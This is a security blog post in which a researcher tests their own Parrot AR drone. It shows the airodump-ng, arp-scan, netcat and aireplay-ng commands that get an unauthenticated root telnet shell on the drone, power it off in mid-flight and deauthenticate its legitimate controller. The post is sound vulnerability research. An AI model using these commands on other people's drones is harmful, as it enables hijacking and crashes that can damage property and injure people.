How Secure is Your Drone – An InteliSecure Skunk Works Post


The following blog post comes from InteliSecure’s research team. Skunk Works blog posts are more technical in nature, investigating security issues from an engineering standpoint. They range anywhere from providing information on faulty coding and fixes to testing consumer products.


Drones have become ubiquitous over the past few years. Many organizations are now using them to help with things such as search and rescue, geographic mapping, storm tracking and more. You can see and hear them flying around your neighbourhood, at sporting events, parks, etc. And if they happen to be hovering over your private property, you have probably, at some point, wished you could just shoot it out of the sky. While that sounds like fun, you probably also live somewhere where that isn’t allowed.

Drones do pose threats though, especially around airports where a collision with an aircraft could cause significant harm and loss of life.

AR DroneOn a personal level, I just wanted to get in on the fun, not only to have my own drone, but dig into the inner workings from a technological perspective. So, I went out and bought a Parrot AR drone to see what I could find.

One of the first things I noticed was the lack of security to access and control my new toy!  Basically, the drone hosts its own 2.4GHz Wi-Fi hotspot of sorts, with zero to hero authentication.  Now there are a few applications which can be installed on your iPad, iPhone, PC and Android which give a nice user interaction to control and fly drones, but I asked myself what else Could be accessed and decided to find out!

To begin, I used the ‘Aircrack-ng’ suite and leveraged ‘Airodump-ng’ to identify the AR drone extended service set identifier (ESSID):


wireless_convict@kali:~$ sudo airodump-ng -c 1 –bssid 90:03:xx:xx:xx:xx mon0
CH  1 ][ Elapsed: 4 s ][ 2015-12-20 22:54
BSSID      PWR RXQ  Beacons #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
90:03:xx:xx:xx:xx -49  64  2719    3   1  54e. OPN   ardrone2_1031XX                    


That allowed me to see that the AR Drone was broadcasting on channel 1 with the ESSID of ardrone2_1031XX.  Knowing that, I then associated the drone with my attacking laptop…and with no authentication needed:


wireless_convict@kali:~$ sudo iwconfig wlan0
wlan0     IEEE 802.11abg  ESSID:
ardrone2_1031XX

Mode:Managed  Frequency:2.412 GHz  Access Point: 90:03:xx:xx:xx:xx
Bit Rate=54 Mb/s   Tx-Power=15 dBm
Retry short limit:7   RTS thr:off   Fragment thr:off
Encryption key:off***************** snipped *****************


At this point, I have been given an IP address from the DHCP pool. Our IP is 192.168.1.2 and we also learn at this point that the drone is on 192.168.1.1 by conducting a layer 2 Arp scan.


wireless_convict@kali:~$ sudo ifconfig wlan0
wlan0     Link encap:Ethernet  HWaddr 00:1b:xx:xx:xx:xx
inet addr:192.168.1.2  Bcast:192.168.1.255  Mask:255.255.255.0
wireless_convict@kali:~$ sudo arp-scan -l -I wlan0
Interface: wlan0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.1.1     90:03:xx:xx:xx:xx    PARROT


I then decided to see what services / protocols were running on the AR Drone.  We can do this by running an Nmap scan over the IP address.

By conducting a full TCP port scan 0-65535 ports we can see some interesting open ports, especially the ‘clear-text’ FTP and Telnet, take notice of the FTP anonymous login and bounce!


uid=0(root) gid=0(root)


We learn here that it’s a stripped down Linux box, but hey we have ‘Root’! All of this information in nice, but what could I do with it?

With the information made available to me, the next thing I tried was to kill the drone in mid-flight!  I ran the simulation as if someone else were flying the drone with me taking control of it and then disabling it, sending it to ground. To do so, I associated my iPhone running the ‘AR.FreeFlight’ app,  flew the drone approximately 3 feet above the ground, associated my attacking laptop, and then, connecting to TCP port 23 via netcat, issued the ‘poweroff’ command. In less than a second, the drone’s blades stopped abruptly and it crashed into the ground!


wireless_convict@kali:~$ nc 192.168.1.1 23
BusyBox v1.14.0 () built-in shell (ash)
Enter ‘help’ for a list of built-in commands.
# poweroff
Poweroff


One other thing that is possible is to de-authenticate the current user and take control of the drone yourself!  This can be done with ‘Aireplay-ng’ and sending de-authenticating management frames! Lots of fun!


wireless_convict@kali:~$ sudo aireplay-ng -0 5 [Parrot MAC] [client MAC]


This command forces the client and drone to disconnect, allowing you to associate and take total ownership!

So in conclusion, if you see an AR drone flying around, you can be certain:

  • It sports an open auth Wi-Fi network;
  • You can access it via Telnet on port 23;
  • You can really confuse a drone’s owner off by issuing a stand-off attack sending it diving into the ground!

For better security the drone needs authentication and encryption. I will be looking into a WPA-supplicant and further protection of the drone with some kind of management authentication!

While the above exercise was done for fun, it did expose some serious flaws in personal drone security which could be exploited.

If anyone is interested in me covering some ‘Aircrack-ng’ blogs, drop me a line!